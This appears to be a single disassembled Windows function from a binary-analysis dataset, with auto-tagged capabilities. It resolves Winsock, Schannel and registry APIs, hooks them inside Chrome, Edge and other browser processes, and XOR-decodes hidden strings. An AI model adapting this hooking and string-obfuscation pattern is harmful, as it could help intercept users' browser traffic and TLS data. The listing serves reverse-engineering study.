Function at 0x1800927c8
Capabilities:
Check for time delay via gettickcount
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xc8]
sub rsp, 0x1c8
lea rdx, str.CreateProcessAsUserW
lea rdi, str.kernelbase.dll
mov rcx, rdi
call fcn.18009b404
mov qword [0x18010ae20], rax
xor r12d, r12d
test rax, rax
jne 0x180092823
lea rdx, str.CreateProcessAsUserW
lea rcx, str.kernel32.dll
call fcn.18009b404
mov qword [0x18010ae20], rax
lea rdx, str.UpdateProcThreadAttribute
mov rcx, rdi
call fcn.18009b404
mov qword [0x18010aee8], rax
lea rdx, str.WinHttpGetIEProxyConfigForCurrentUser
lea rcx, str.winhttp.dll
call fcn.18009b404
mov qword [0x18010ae60], rax
call fcn.18005d000
test al, al
je 0x1800928ed
cmp byte [0x18010ad71], r12b
jne 0x180093af6
call fcn.18009a9a8
mov ebx, eax
test eax, eax
je 0x180092884
call fcn.18009a8e0
mov eax, ebx
jmp 0x180093aff
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call fcn.18009acd0
mov ebx, eax
test eax, eax
jne 0x180092878
cmp qword [0x18010ae20], r12
je 0x1800928ba
lea rdx, [0x180088414]
lea rcx, [0x18010ae20]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
cmp qword [0x18010aee8], r12
je 0x1800928dc
lea rdx, [0x18008aab4]
lea rcx, [0x18010aee8]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
call fcn.18009aa00
mov byte [0x18010b09d], 1
jmp 0x180093aff
call fcn.180099824
mov dword [0x18010aed8], eax
lea rdx, str.connect
lea rbx, str.WS2_32.DLL
mov rcx, rbx
call fcn.18009b404
mov qword [0x18010ada0], rax
test rax, rax
je 0x180093afa
lea rdx, str.WSAConnect
mov rcx, rbx
call fcn.18009b404
mov qword [0x18010adb0], rax
test rax, rax
je 0x180093afa
lea rdx, str.closesocket
mov rcx, rbx
call fcn.18009b404
mov qword [0x18010adb8], rax
test rax, rax
je 0x180093afa
lea rdx, str.send
mov rcx, rbx
call fcn.18009b404
mov qword [0x18010aec8], rax
test rax, rax
je 0x180093afa
lea rdx, str.WSASend
mov rcx, rbx
call fcn.18009b404
mov qword [0x18010adc0], rax
test rax, rax
je 0x180093afa
lea rdx, str.recv
mov rcx, rbx
call fcn.18009b404
mov qword [0x18010aed0], rax
test rax, rax
je 0x180093afa
lea rdx, str.WSARecv
mov rcx, rbx
call fcn.18009b404
mov qword [0x18010adc8], rax
test rax, rax
je 0x180093afa
lea rdx, str.WSAGetOverlappedResult
mov rcx, rbx
call fcn.18009b404
mov qword [0x18010add0], rax
test rax, rax
je 0x180093afa
lea rdx, str.GetQueuedCompletionStatus
lea rcx, str.kernelbase.DLL
call fcn.18009b404
mov qword [0x18010add8], rax
test rax, rax
jne 0x180092a39
lea rdx, str.GetQueuedCompletionStatus
lea rcx, str.Kernel32.DLL
call fcn.18009b404
mov qword [0x18010add8], rax
test rax, rax
je 0x180093afa
lea rdx, str.recvfrom
mov rcx, rbx
call fcn.18009b404
mov qword [0x18010ade0], rax
test rax, rax
je 0x180093afa
lea rdx, str.sendto
mov rcx, rbx
call fcn.18009b404
mov qword [0x18010ade8], rax
test rax, rax
je 0x180093afa
lea rdx, str.WSARecvFrom
mov rcx, rbx
call fcn.18009b404
mov qword [0x18010adf0], rax
cmp qword [0x18010ade0], r12
je 0x180093afa
lea rdx, str.WSASendTo
mov rcx, rbx
call fcn.18009b404
mov qword [0x18010adf8], rax
test rax, rax
je 0x180093afa
lea rdx, str.SealMessage
lea rcx, str.Schannel.dll
call fcn.18009b404
mov qword [0x18010ae00], rax
test rax, rax
je 0x180093afa
lea rdx, str.UnsealMessage
lea rcx, str.Schannel.dll
call fcn.18009b404
mov qword [0x18010ae08], rax
test rax, rax
je 0x180093afa
lea rdx, str.UnlockUrlCacheEntryFileA
lea rcx, str.wininet.dll
call fcn.18009b404
mov qword [0x18010ae10], rax
test rax, rax
je 0x180093afa
lea rdx, [0x1800d66b8]
lea rcx, str.Kernel32.dll
call fcn.18009b404
mov qword [0x18010ae18], rax
test rax, rax
je 0x180093afa
lea rdx, str.ShellExecuteExW
lea rcx, str.Shell32.dll
call fcn.18009b404
mov qword [0x18010ae28], rax
test rax, rax
je 0x180093afa
lea rbx, [0x1800d6708]
cmp byte [0x18010a5de], r12b
je 0x180092c40
lea rdx, str.RegOpenKeyExW
mov rcx, rdi
call fcn.18009b404
mov qword [0x18010ae68], rax
test rax, rax
jne 0x180092bad
lea rdx, str.RegOpenKeyExW
mov rcx, rbx
call fcn.18009b404
mov qword [0x18010ae68], rax
lea rdx, [0x1800d6718]
mov rcx, rdi
call fcn.18009b404
mov qword [0x18010ae70], rax
test rax, rax
jne 0x180092bde
lea rdx, [0x1800d6718]
mov rcx, rbx
call fcn.18009b404
mov qword [0x18010ae70], rax
lea rdx, str.RegQueryInfoKeyW
mov rcx, rdi
call fcn.18009b404
mov qword [0x18010ae78], rax
test rax, rax
jne 0x180092c0f
lea rdx, str.RegQueryInfoKeyW
mov rcx, rbx
call fcn.18009b404
mov qword [0x18010ae78], rax
lea rdx, str.RegEnumValueW
mov rcx, rdi
call fcn.18009b404
mov qword [0x18010ae80], rax
test rax, rax
jne 0x180092c40
lea rdx, str.RegEnumValueW
mov rcx, rbx
call fcn.18009b404
mov qword [0x18010ae80], rax
lea rdx, str.RegQueryValueExW
mov rcx, rdi
call fcn.18009b404
mov qword [0x18010ae88], rax
test rax, rax
jne 0x180092c71
lea rdx, str.RegQueryValueExW
mov rcx, rbx
call fcn.18009b404
mov qword [0x18010ae88], rax
lea rdx, str.RegSetValueExW
mov rcx, rdi
call fcn.18009b404
mov qword [0x18010ae90], rax
test rax, rax
jne 0x180092ca2
lea rdx, str.RegSetValueExW
mov rcx, rbx
call fcn.18009b404
mov qword [0x18010ae90], rax
call fcn.18005cbb8
test al, al
je 0x180092ce0
lea rdx, [0x1800d6778]
mov rcx, rdi
call fcn.18009b404
mov qword [0x18010ae50], rax
test rax, rax
jne 0x180092ce0
lea rdx, [0x1800d6778]
lea rcx, str.kernel32.dll
call fcn.18009b404
mov qword [0x18010ae50], rax
mov dword [rsp + 0x50], 0x25a207b9
mov dword [rsp + 0x54], 0x4660ddf3
mov dword [rsp + 0x58], 0xe576e98e
mov dword [rsp + 0x5c], 0x3e06748c
xor r8d, r8d
lea edx, [r8 + 1]
lea ecx, [rdx + 1]
call sub.WS2_32.dll_socket
mov rbx, rax
lea r14, [0x18010ada8]
or rdi, 0xffffffffffffffff
cmp rax, rdi
je 0x180092d61
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r12
lea rax, [rbp - 0x60]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 8
mov qword [rsp + 0x20], r14
lea r9d, [rdi + 0x11]
lea r8, [rsp + 0x50]
mov edx, 0xc8000006
mov rcx, rbx
call sub.WS2_32.dll_WSAIoctl
mov rcx, rbx
call qword [0x18010adb8]
movabs rsi, 0xd993efbb19cfe32d
cmp byte [0x18010ad71], r12b
jne 0x180093542
call fcn.18000ce80
mov r12b, al
call fcn.18000ce3c
mov r13b, al
call fcn.18005d028
mov sil, al
mov byte [rbp + 0x110], al
call fcn.18005cb50
mov r14b, al
mov byte [rbp + 0x118], al
lea r15, [0x1801025b0]
cmp byte [0x18010a5dc], 0
jne 0x180092dc1
cmp byte [0x18010a5dd], 0
je 0x180092e8b
cmp qword [0x1801025c0], 0
je 0x180092e8b
call fcn.18000ce10
test al, al
jne 0x180092e8b
mov rcx, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rcx, qword [0x1801025b0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
setne bl
cmp byte [0x18010a364], 0
je 0x180092e8b
mov r14, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae r14, qword [0x1801025b0]
lea rcx, [rbp + 0x120]
call fcn.18007dd74
mov rsi, rax
cmp byte [rax + 0x2b], 0
je 0x180092e5d
xor r10d, r10d
movabs rax, 0xd993efbb19cfe32d
mov cl, r10b
and cl, 7
shl cl, 3
mov r8, rax
shr r8, cl
xor byte [r10 + rsi], r8b
inc r10
cmp r10, 0x2b
jb 0x180092e3d
mov byte [rsi + 0x2b], 0
movzx ebx, bl
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
mov dword [rsp + 0x20], ebx
mov r9, r14
mov rdx, rsi
mov ecx, 4
call fcn.18006a848
mov sil, byte [rbp + 0x110]
mov r14b, byte [rbp + 0x118]
test r14b, r14b
jne 0x180092eb7
test r12b, r12b
jne 0x180092eb7
test r13b, r13b
jne 0x180092eb7
test sil, sil
jne 0x180092eb7
call fcn.18005cbb8
test al, al
jne 0x180092eb7
xor r12d, r12d
mov byte [0x18010b09b], r12b
jmp 0x1800933b4
mov byte [0x18010b09b], 1
test r12b, r12b
jne 0x180092ed6
test r13b, r13b
jne 0x180092ed6
test sil, sil
jne 0x180092ed6
test r14b, r14b
je 0x1800933b1
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
test r12b, r12b
je 0x180092eec
lea rcx, str.browser.dll
jmp 0x180092f40
test r13b, r13b
je 0x180092f17
lea rcx, str.chrome.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [0x18010ad98], rax
test rax, rax
jne 0x180093095
lea rcx, str.chrome_child.dll
jmp 0x180092f40
test r14b, r14b
je 0x180092f4f
lea rcx, str.msedge.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [0x18010ad98], rax
test rax, rax
jne 0x180093095
lea rcx, str.msedge_child.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [0x18010ad98], rax
jmp 0x180092f64
test sil, sil
je 0x180092f5d
lea rcx, str.Yahoo_Messenger.exe
jmp 0x180092f40
mov rax, qword [0x18010ad98]
test rax, rax
jne 0x180093095
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0x2710
jb 0x180092ede
xor r12d, r12d
mov rbx, qword [0x18010ad98]
test rbx, rbx
je 0x1800933b4
mov dword [rbp + 0x118], r12d
mov dword [rbp + 0x120], r12d
mov dword [rbp + 0x128], r12d
mov byte [rbp + 0x110], r12b
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x70], r12
mov r13d, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x68], r13
mov byte [rbp - 0x80], r12b
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r13
mov byte [rsp + 0x60], r12b
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x18010aee4], eax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x110]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x128]
lea r8, [rbp - 0x5c]
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x118]
call fcn.180083e88
test al, al
je 0x18009332b
mov edi, dword [rbp + 0x118]
mov esi, dword [rbp + 0x120]
lea rax, [rbx + rdi]
cmp byte [rbp + 0x110], r12b
je 0x18009311f
mov qword [0x18010ae40], rax
lea rax, [rbx + rsi]
mov qword [0x18010ae48], rax
mov eax, dword [rbp + 0x128]
test eax, eax
je 0x180093078
add rax, rbx
mov qword [0x18010ae98], rax
mov eax, dword [0x18010aec0]
test eax, eax
je 0x180093131
add rax, rbx
mov qword [0x18010ae58], rax
jmp 0x180093131
call fcn.18000ce10
xor r12d, r12d
test al, al
je 0x180092f8e
mov r8d, 0x105
lea rdx, [rbp - 0x50]
mov rcx, qword [0x18010ad98]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x180092f8e
lea rax, [rbp - 0x50]
inc rdi
cmp byte [rax + rdi], r12b
jne 0x1800930c8
mov rax, qword [reloc.WS2_32.dll_ntohs]
cmp rdi, rax
ja 0x180093108
cmp rax, 0x10
cmovae r15, qword [0x1801025b0]
mov qword [0x1801025c0], rdi
mov r8, rdi
lea rdx, [rbp - 0x50]
mov rcx, r15
call fcn.18009fc20
mov byte [r15 + rdi], r12b
jmp 0x180092f8e
lea r9, [rbp - 0x50]
mov r8b, r12b
mov rdx, rdi
mov rcx, r15
call fcn.180003a38
jmp 0x180092f8e
mov qword [0x18010ae30], rax
lea rax, [rbx + rsi]
mov qword [0x18010ae38], rax
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp - 0x50]
call fcn.1800a02d0
mov r8d, ebx
lea rdx, [rbp - 0x50]
mov rcx, qword [0x18010ad98]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp byte [0x18010a364], r12b
je 0x1800931f2
lea r14, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae r14, qword [rsp + 0x60]
lea r15, [rbp - 0x80]
cmp qword [rbp - 0x68], 0x10
cmovae r15, qword [rbp - 0x80]
lea rcx, [rbp + 0x110]
call fcn.18007d048
mov rbx, rax
cmp byte [rax + 0x5b], r12b
je 0x1800931c6
mov r9, r12
movabs rax, 0xd993efbb19cfe32d
mov cl, r9b
and cl, 7
shl cl, 3
mov r8, rax
shr r8, cl
xor byte [r9 + rbx], r8b
inc r9
cmp r9, 0x5b
jb 0x1800931a6
mov byte [rbx + 0x5b], r12b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
mov dword [rsp + 0x38], esi
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r15
lea r9, [rbp - 0x50]
mov rdx, rbx
mov ecx, 4
call fcn.18006a848
cmp byte [0x18010ad91], r12b
jne 0x180093259
cmp byte [0x180102acc], r12b
jne 0x180093259
cmp byte [0x18010a364], r12b
je 0x18009332b
lea rcx, [rbp + 0x110]
call fcn.18007e254
mov rdx, rax
cmp byte [rax + 0x24], r12b
je 0x1800932ae
mov r8, r12
movabs r13, 0xd993efbb19cfe32d
mov cl, r8b
and cl, 7
shl cl, 3
mov rax, r13
shr rax, cl
xor byte [r8 + rdx], al
inc r8
cmp r8, 0x24
jb 0x180093237
mov byte [rdx + 0x24], r12b
jmp 0x1800932a8
cmp byte [0x18010a364], r12b
je 0x18009332b
lea rcx, [rbp + 0x110]
call fcn.18007c838
mov rdx, rax
cmp byte [rax + 0x2b], r12b
je 0x1800932ae
mov r8, r12
movabs r13, 0xd993efbb19cfe32d
mov cl, r8b
and cl, 7
shl cl, 3
mov rax, r13
shr rax, cl
xor byte [r8 + rdx], al
inc r8
cmp r8, 0x2b
jb 0x180093288
mov byte [rdx + 0x2b], r12b
mov r13d, reloc.WS2_32.dll_ntohs
mov ecx, 4
call fcn.18006a848
cmp byte [0x18010a364], r12b
je 0x18009332b
lea rcx, [rbp + 0x110]
call fcn.18008091c
mov rdi, rax
cmp byte [rax + 0x42], r12b
je 0x180093303
mov r9, r12
movabs rax, 0xd993efbb19cfe32d
mov cl, r9b
and cl, 7
shl cl, 3
mov r8, rax
shr r8, cl
xor byte [r9 + rdi], r8b
inc r9
cmp r9, 0x42
jb 0x1800932e3
mov byte [rdi + 0x42], r12b
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
sub ebx, dword [0x18010aee4]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
mov r9d, ebx
mov rdx, rdi
mov ecx, 4
call fcn.18006a848
nop
mov ebx, 0x1000
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x180093369
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, rbx
jb 0x180093364
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b19
call fcn.18009d1f4
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r13
mov byte [rsp + 0x60], r12b
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x1800933b4
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, rbx
jb 0x1800933aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093b13
call fcn.18009d1f4
jmp 0x1800933b4
xor r12d, r12d
cmp byte [0x18010a5de], r12b
je 0x180093531
cmp qword [0x18010ae40], r12
jne 0x180093531
cmp qword [0x18010ae48], r12
jne 0x180093531
cmp qword [0x18010ae30], r12
jne 0x180093531
cmp qword [0x18010ae38], r12
jne 0x180093531
cmp byte [0x18010a364], r12b
je 0x180093456
lea rcx, [rbp + 0x110]
call fcn.180080424
mov rbx, rax
cmp byte [rax + 0x40], r12b
je 0x180093440
mov r9, r12
movabs rax, 0xd993efbb19cfe32d
mov cl, r9b
and cl, 7
shl cl, 3
mov r8, rax
shr r8, cl
xor byte [r9 + rbx], r8b
inc r9
cmp r9, 0x40
jb 0x180093420
mov byte [rbx + 0x40], r12b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
mov rdx, rbx
mov ecx, 4
call fcn.18006a848
cmp byte [0x18010ad72], r12b
je 0x1800934e4
cmp word [0x18010ad74], r12w
je 0x1800934e4
call fcn.1800883c8
test al, al
je 0x1800934e4
mov byte [0x18010ad71], 1
cmp byte [0x18010a364], r12b
je 0x180093531
lea rcx, [rbp + 0x110]
call fcn.18007da18
mov rbx, rax
movabs rsi, 0xd993efbb19cfe32d
cmp byte [rax + 0x3e], r12b
je 0x1800934cc
mov r9, r12
mov cl, r9b
and cl, 7
shl cl, 3
mov r8, rsi
shr r8, cl
xor byte [r9 + rax], r8b
inc r9
cmp r9, 0x3e
jb 0x1800934ac
mov byte [rax + 0x3e], r12b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
mov rdx, rbx
mov ecx, 4
call fcn.18006a848
jmp 0x18009353b
cmp byte [0x18010a364], r12b
je 0x180093531
lea rcx, [rbp + 0x110]
call fcn.18007c908
mov rbx, rax
movabs rsi, 0xd993efbb19cfe32d
cmp byte [rax + 0x2b], r12b
je 0x1800934cc
mov r9, r12
mov cl, r9b
and cl, 7
shl cl, 3
mov r8, rsi
shr r8, cl
xor byte [r9 + rax], r8b
inc r9
cmp r9, 0x2b
jb 0x18009350f
mov byte [rax + 0x2b], r12b
jmp 0x1800934cc
movabs rsi, 0xd993efbb19cfe32d
lea r14, [0x18010ada8]
call fcn.18009a9a8
mov ebx, eax
test eax, eax
jne 0x180092878
lea ecx, [rax + 1]
call fcn.18009a8d8
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
call fcn.18009acd0
mov ebx, eax
test eax, eax
jne 0x180092878
cmp byte [0x18010ad71], r12b
jne 0x180093731
lea rdx, [0x18008cfdc]
lea rcx, [0x18010ada0]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
lea rdx, [0x18008ace8]
lea rcx, [0x18010adb0]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
lea rdx, [0x18008c8b4]
lea rcx, [0x18010adb8]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
lea rdx, [0x18008e018]
lea rcx, [0x18010aec8]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
lea rdx, [0x18008dddc]
lea rcx, [0x18010aed0]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
lea rdx, [0x18008b0f0]
lea rcx, [0x18010adc8]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
lea rdx, [0x18008b5fc]
lea rcx, [0x18010adc0]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
lea rdx, [0x18008aefc]
lea rcx, [0x18010add0]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
lea rdx, [0x180089bc8]
lea rcx, [0x18010add8]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
lea rdx, [0x18008ded0]
lea rcx, [0x18010ade0]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
lea rdx, [0x18008e8c4]
lea rcx, [0x18010ade8]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
lea rdx, [0x18008b360]
lea rcx, [0x18010adf0]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
lea rdx, [0x18008bf60]
lea rcx, [0x18010adf8]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
lea rdx, [0x180089988]
lea rcx, [0x18010ae00]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
lea rdx, [0x1800894f8]
lea rcx, [0x18010ae08]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
lea rdx, [0x18008aa60]
lea rcx, [0x18010ae10]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
lea rdx, [fcn.180088e34]
lea rcx, [0x18010ae18]
call fcn.18009a470
mov rcx, qword [0x18010ae18]
test eax, eax
cmovne rcx, r12
mov qword [0x18010ae18], rcx
cmp qword [0x18010ae20], r12
je 0x18009379b
lea rdx, [0x180088414]
lea rcx, [0x18010ae20]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
cmp qword [0x18010aee8], r12
je 0x1800937ca
cmp byte [0x18010a5de], r12b
je 0x1800937ca
lea rdx, [0x18008aab4]
lea rcx, [0x18010aee8]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
lea rdx, [0x18008a9a0]
lea rcx, [0x18010ae28]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
cmp byte [0x18010a5de], r12b
je 0x18009388c
cmp qword [0x18010ae68], r12
je 0x18009381a
lea rdx, [0x18008a1c8]
lea rcx, [0x18010ae68]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
cmp qword [0x18010ae70], r12
je 0x180093840
lea rdx, [0x180089edc]
lea rcx, [0x18010ae70]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
cmp qword [0x18010ae78], r12
je 0x180093866
lea rdx, [0x18008a3c0]
lea rcx, [0x18010ae78]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
cmp qword [0x18010ae80], r12
je 0x18009388c
lea rdx, [0x180089f54]
lea rcx, [0x18010ae80]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
cmp byte [0x18010a5a5], r12b
je 0x1800938c5
lea rdx, [0x18008a6fc]
lea rcx, [0x18010ae88]
call fcn.18009a470
lea rdx, [0x18008a7ac]
lea rcx, [0x18010ae90]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
cmp qword [0x18010ae50], r12
je 0x180093930
lea rdx, [0x180089e18]
lea rcx, [0x18010ae50]
call fcn.18009a470
test eax, eax
je 0x180093930
cmp byte [0x18010a364], r12b
je 0x180093930
lea rcx, [rbp + 0x110]
call fcn.18007d7a0
cmp byte [rax + 0x2e], r12b
je 0x180093923
mov r9, r12
mov cl, r9b
and cl, 7
shl cl, 3
mov r8, rsi
shr r8, cl
xor byte [r9 + rax], r8b
inc r9
cmp r9, 0x2e
jb 0x180093903
mov byte [rax + 0x2e], r12b
mov rdx, rax
mov ecx, 4
call fcn.18006a848
cmp qword [0x18010ae60], r12
je 0x180093956
lea rdx, [0x18008c694]
lea rcx, [0x18010ae60]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
cmp byte [0x18010ad71], r12b
jne 0x180093ae6
cmp qword [0x18010ae30], r12
je 0x1800939af
cmp qword [0x18010ae38], r12
je 0x1800939af
lea rdx, [0x18008f32c]
lea rcx, [0x18010ae30]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
lea rdx, [0x18008f06c]
lea rcx, [0x18010ae38]
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
cmp qword [0x18010ae40], r12
je 0x180093a8f
cmp qword [0x18010ae48], r12
je 0x180093a8f
lea rdx, [0x18010ae48]
lea rcx, [0x18010ae40]
call fcn.180094924
test al, al
je 0x180093a1c
mov rdx, qword [0x18010aea0]
lea rcx, [0x18010ae40]
call fcn.180091a5c
mov ebx, eax
test eax, eax
jne 0x180092878
mov rdx, qword [0x18010aea8]
lea rcx, [0x18010ae48]
call fcn.180091a5c
mov ebx, eax
test eax, eax
jne 0x180092878
jmp 0x180093a73
cmp byte [0x18010a364], r12b
je 0x180093a73
lea rcx, [rbp + 0x110]
call fcn.18007c4d8
mov rbx, rax
cmp byte [rax + 0x32], r12b
je 0x180093a5d
mov r9, r12
mov cl, r9b
and cl, 7
shl cl, 3
mov r8, rsi
shr r8, cl
xor byte [r9 + rax], r8b
inc r9
cmp r9, 0x32
jb 0x180093a3d
mov byte [rax + 0x32], r12b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
mov rdx, rbx
mov ecx, 4
call fcn.18006a848
cmp qword [0x18010ae98], r12
je 0x180093a8f
mov rdx, qword [0x18010aeb0]
lea rcx, [0x18010ae98]
call fcn.18009a470
cmp qword [0x18010ae58], r12
je 0x180093ac4
mov rdx, qword [0x18010aeb8]
test rdx, rdx
je 0x180093ac4
lea rcx, [0x18010ae58]
call fcn.18009a470
mov rdx, qword [0x18010ae58]
test eax, eax
cmovne rdx, r12
mov qword [0x18010ae58], rdx
cmp qword [0x18010ada8], r12
je 0x180093ae6
lea rdx, [0x180088fdc]
mov rcx, r14
call fcn.18009a470
mov ebx, eax
test eax, eax
jne 0x180092878
call fcn.18009aa00
mov byte [0x18010b09d], 1
test eax, eax
jne 0x180093aff
xor eax, eax
jmp 0x180093aff
mov eax, 1
add rsp, 0x1c8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1800a45b8
nop
call fcn.1800a45b8
nop
int3